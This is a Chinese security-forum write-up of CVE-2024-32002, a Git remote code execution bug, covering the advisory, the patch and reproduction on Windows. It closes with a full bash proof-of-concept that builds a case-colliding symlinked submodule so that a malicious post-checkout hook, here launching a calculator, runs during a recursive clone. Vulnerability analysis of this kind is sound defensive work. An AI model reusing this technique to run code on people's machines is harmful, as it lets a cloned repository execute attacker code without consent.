问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-32002 Git 远程代码执行漏洞分析
漏洞分析
Git RCE 漏洞分析:从蛛丝马迹的漏洞分析到RCE
前言 == 5月18号的时候,国外安全研究员Amal Murali(@amalmurali47)放了一张截图,这引起了我的注意: ![](https://cdn.nlark.com/yuque/0/2024/jpeg/12719746/1716166199376-5f5e699c-2ebe-4994-bef5-9dfe1240ee6e.jpeg) 他对git RCE:CVE-2024-32002进行了分析,截图中git的日志输出打了码,让我没办法通过他的演示获取到更多的信息。最开始了解到这漏洞在mac上面可以触发,如果windows同样可以触发的话那影响面就变得更大了。本文将对windows平台的git RCE进行复现分析。 影响版本: v2.45.0 v2.44.0 <=v2.43.3 <=v2.42.1 v2.41.0 <=v2.40.1 <=v2.39.3 修复版本: v2.45.1 v2.44.1 v2.43.4 v2.42.2 v2.41.1 v2.40.2 v2.39.4 POC: <https://github.com/10cks/captain> <https://github.com/10cks/hook> 初探 == 当我分析这个洞时,市面上并没有出现poc,除了这个安全研究员发的漏洞复现截图外,我还看到了另一个安全研究发的图,不过是在mac os上进行复现的: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716166798638-d5d8722a-0521-49e2-8589-c35678177cba.png) 我提取出其中的日志信息: ```php $git clone --recursive git@github.com:markuta/test.git cloning into test remote:enumerating objects:18,done. remote:counting objects:100%(18/18), done. remote:compressing objects:100%(7/7),done. remote: total 18 (delta 6), reused 14 (delta 4), pack-reused 0 receiving objects:100%(18/18),done. resolving deltas:100%(6/6),done. warning:the following paths have collided (e.g. case-sensitive paths on a case-insensitive filesystem) and only one from the same colliding group is in the working tree: 'a' submodule'x/y' (git@github.com:markuta/hooky) registered for path 'A/modules/x' cloning into '/users/naz/dev/test/a/modules/x'... remote:enumerating objects:15,done. remote:counting objects:100%(15/15),done. remote:compressing objects:100%(8/8),done. remote:total 15 (delta 1), reused 8(delta 0), pack-reused 0 receiving objects:100%(15/15),done. resolving deltas:100%(1/1),done. submodule path 'A/modules/x': checked out 'a8da5ef374374251fb81787292d64e52ffe802a3' ``` 我推测比较关键的点在于: ```php on a case-insensitive filesystem) and only one from the same colliding group is in the working tree: 'a' ``` 结合[漏洞通告](https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv): ```php Impact Repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule's worktree but into a .git/ directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed. Patches The problem has been patched in the versions published on Tuesday, May 14th, 2024. Workarounds If symbolic link support is disabled in Git (e.g. via git config --global core.symlinks false), the described attack won't work. As always, it is best to avoid cloning repositories from untrusted sources. References git clone --recurse-submodules core.symlinks ``` 具有子模块的存储库可以通过利用 Git 中的错误的方式来制作,从而可以欺骗它不将文件写入子模块的工作树,而是写入 `.git/`目录。这允许编写一个在克隆操作仍在运行时执行的钩子,使用户没有机会检查正在执行的代码。 这里说的“错误的方式”指的是什么? 通过前面的日志我推测可能是目录识别时没有对同名但是大小写不同的目录名进行区别,最后导致了混淆。那么通过什么触发了这个问题呢?漏洞通告中给了`recurse-submodules`和`core.symlinks`这两个提示,这涉及到了子模块和符号链接。 深入理解 ==== git的子模块通俗来讲就是使用一个项目时可以递归引用另一个项目,在git clone时通过参数`--recurse-submodules`就可以开启。 ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716167989234-4630426c-5c01-429e-9f7c-285e04aab729.png) 漏洞信息显示该漏洞会发生在windows和macOS上,但是没有unix系统。这是为什么? 因为windows和macOS的文件系统不区分大小写,比如我在windows上面新建了一个目录A,再新建一个目录a就会提示我们目录名称重复: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716168154027-187ddc78-b84c-4a40-a3fa-49d62e06fb68.png) 也就是说`A/modules/x` 和 `a/modules/x`在windows上面被视为相同的路径。 我直接把日志丢给chatGPT,看看他是否存在什么思路: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716168528702-bef8e4ed-e67d-484a-be37-cf793aa8a086.png) 可以看到思路是跟我的分析一致的,但是我让GPT尝试帮我构建poc,不出意外的失败了。只好自己动手接着分析[补丁](https://github.com/git/git/commit/97065761333fd62db1912d81b489db938d8c991d)。 补丁分析 ---- 补丁涉及了两个文件: 1. builtin/submodule--helper.c 2. t/t7406-submodule-update.sh 第一个文件是补丁,第二个则是一个测试脚本。 我们分析补丁: 补丁新增了一个名为 `dir_contains_only_dotgit` 的函数,用来检查指定的目录中是否只包含 .git 文件夹。这是一个关键的功能,因为它增加了对仓库目录的额外验证,确保在进行某些操作之前目录是预期的状态。 ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716169224934-aed75b5a-0c87-4a5f-9170-742e05111474.png) 然后在执行克隆之前增加了一个检查,来确保目录是空的或者仅包含`.git`目录。如果不为空并且不仅仅包含`.git`目录,就会终止操作。 ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716169327536-69a58881-25b5-4c4b-bca8-6e55b945dfe7.png) 至于第二个文件,则是一个测试脚本,也就是我们来进行复现使用的关键信息都在里面,用于验证 Git 在处理包含符号链接的子模块路径时的行为。 ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716169540205-bbe206b6-fb74-43fb-ac65-48f4d7a0e972.png) 其中的关键代码为: ### 设置符号链接选项开启 ```php test_config_global protocol.file.allow always && test_config_global core.symlinks true && tell_tale_path="$PWD/tell.tale" && ``` ### 新建hook仓库(目录名为`hook`) ```php tell_tale_path="$PWD/tell.tale" && git init hook && ( cd hook && mkdir -p y/hooks && write_script y/hooks/post-checkout <<-EOF && echo HOOK-RUN >&2 echo hook-run >"$tell_tale_path" EOF git add y/hooks/post-checkout && test_tick && git commit -m post-checkout ) && ``` 代码内容含义为:新建`hook/y/hooks/post-checkout`文件然后写入下面内容后提交: ```php echo HOOK-RUN >&2 echo hook-run >"$tell_tale_path" ``` post-checkout 文件是什么? post-checkout 是 Git 中的一种钩子(hook)。Git hooks 是一些脚本,允许你在特定的事件发生时执行自定义操作。post-checkout 钩子在以下情况之后被调用: 成功运行 git clone 命令。 成功运行 git checkout 命令。 ### 新建captain仓库(最后git clone的仓库) ```php hook_repo_path="$(pwd)/hook" && git init captain && ( cd captain && git submodule add --name x/y "$hook_repo_path" A/modules/x && test_tick && git commit -m add-submodule && printf .git >dotgit.txt && git hash-object -w --stdin <dotgit.txt >dot-git.hash && printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info && git update-index --index-info <index.info && test_tick && git commit -m add-symlink ) && ``` 添加子模块: - `hook_repo_path`设置上面hook仓库的路径,使用`git submodule add --name x/y "$hook_repo_path" A/modules/x`把hook仓库中的子模块添加到captain仓库中,子模块的名字是 `x/y`,路径是 `A/modules/x` 创建符号链接并提交: - 创建一个包含文本内容 ".git" 的文件 dotgit.txt。 - 计算 dotgit.txt 文件的哈希值,并将其存储到 Git 对象数据库中。 - 创建一个索引信息文件 index.info,其中包含创建一个符号链接(指向 .git 文件内容)的信息。 - 使用 git update-index 命令将符号链接的信息添加到 Git 索引中。 - 提交这个符号链接的添加。 ### 运行测试 ```php test_path_is_missing "$tell_tale_path" && test_must_fail git clone --recursive captain hooked 2>err && grep "directory not empty" err && test_path_is_missing "$tell_tale_path" ``` 这部分我们构造poc需要做的就是`git clone --recursive captain hooked 2>err &&` 构造POC ----- 经过上面的详细分析,如何构造poc也就一目了然了。当我尝试构造poc后,会出现报错: ```php $ git clone --recursive git@github.com:10cks/CVE-2024-32002-submod.git test Cloning into 'test'... remote: Enumerating objects: 8, done. remote: Counting objects: 100% (8/8), done. remote: Compressing objects: 100% (4/4), done. remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0 Receiving objects: 100% (8/8), done. Resolving deltas: 100% (1/1), done. warning: the following paths have collided (e.g. case-sensitive paths on a case-insensitive filesystem) and only one from the same colliding group is in the working tree: 'a' Submodule 'x/y' (git@github.com:10cks/CVE-2024-32002-hulk.git) registered for path 'A/modules/x' fatal: could not create leading directories of 'D:/CVE-2024-32002/RCE/test/A/modules/x': Not a directory fatal: clone of 'git@github.com:10cks/CVE-2024-32002-hulk.git' into submodule path 'D:/CVE-2024-32002/RCE/test/A/modules/x' failed Failed to clone 'A/modules/x'. Retry scheduled fatal: could not create leading directories of 'D:/CVE-2024-32002/RCE/test/A/modules/x': Not a directory fatal: clone of 'git@github.com:10cks/CVE-2024-32002-hulk.git' into submodule path 'D:/CVE-2024-32002/RCE/test/A/modules/x' failed Failed to clone 'A/modules/x' a second time, aborting ``` **通过邮件咨询,我才知道即使在windows上开启了符号链接选项,仍需以管理员权限运行才能够正确的执行符号链接。这也是为什么我花了两天时间一直没有在windows上成功实现任意代码执行的原因。** 除此之外,不能通过手动修改`.gitmodules`的方式来对子模块进行设置,会导致远程仓库无法正确进行递归。我们需要在生成`.gitmodules`前就对其进行修改,并且协议需要保持一致: ```php git submodule add --name x/y "远程子模块仓库" A/modules/x ``` 最后完整的poc在5月20号被Amal Murali放出,到这里关于git RCE的分析也就告一段段落了: ```php #!/bin/bash # 设置 Git 配置选项 git config --global protocol.file.allow always git config --global core.symlinks true # 避免警告消息(设置默认分叉为main) git config --global init.defaultBranch main # 定义 tell-tale 路径 tell_tale_path="$PWD/tell.tale" # 初始化 hook 仓库 git init hook cd hook mkdir -p y/hooks # 将恶意代码写入 hook,适配windows环境与mac环境 cat > y/hooks/post-checkout <<EOF #!/bin/bash calc.exe open -a Calculator.app EOF # 使 hook 可执行:重要 chmod +x y/hooks/post-checkout git add y/hooks/post-checkout git commit -m "post-checkout" cd .. # 定义 hook 仓库路径 hook_repo_path="$(pwd)/hook" # 初始化 captain 仓库 git init captain cd captain git submodule add --name x/y "$hook_repo_path" A/modules/x git commit -m "add-submodule" # 创建符号链接 printf ".git" > dotgit.txt git hash-object -w --stdin < dotgit.txt > dot-git.hash printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info git update-index --index-info < index.info git commit -m "add-symlink" cd .. # 本地测试,传到github无需使用此功能 git clone --recursive captain hooked ``` 运行`git clone --recursive git@github.com:10cks/captain.git GIT-RCE`后就可以RCE了: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716176968660-815e292a-45d4-4d7f-8757-8af06bc9db69.png) ![tutieshi_640x360_4s_z.gif](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-99189f941f9d4baa6a60cc2e1cc08ba257da03c3.gif) 参考链接 ==== <https://twitter.com/amalmurali47/status/1791566569501573163>
发表于 2024-05-20 20:11:28
阅读 ( 14732 )
分类:
漏洞分析
5 推荐
收藏
4 条评论
Pseudoknot
2024-05-21 10:05
不过节嘛
10cks
回复
Pseudoknot
哈哈哈
请先
登录
后评论
fengsec
2024-05-22 19:43
师傅那几个文件对比的图感觉很方便啊,想问一下是什么软件吗还是github的file diff?
10cks
回复
fengsec
github commit diff
请先
登录
后评论
请先
登录
后评论
10cks
12 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!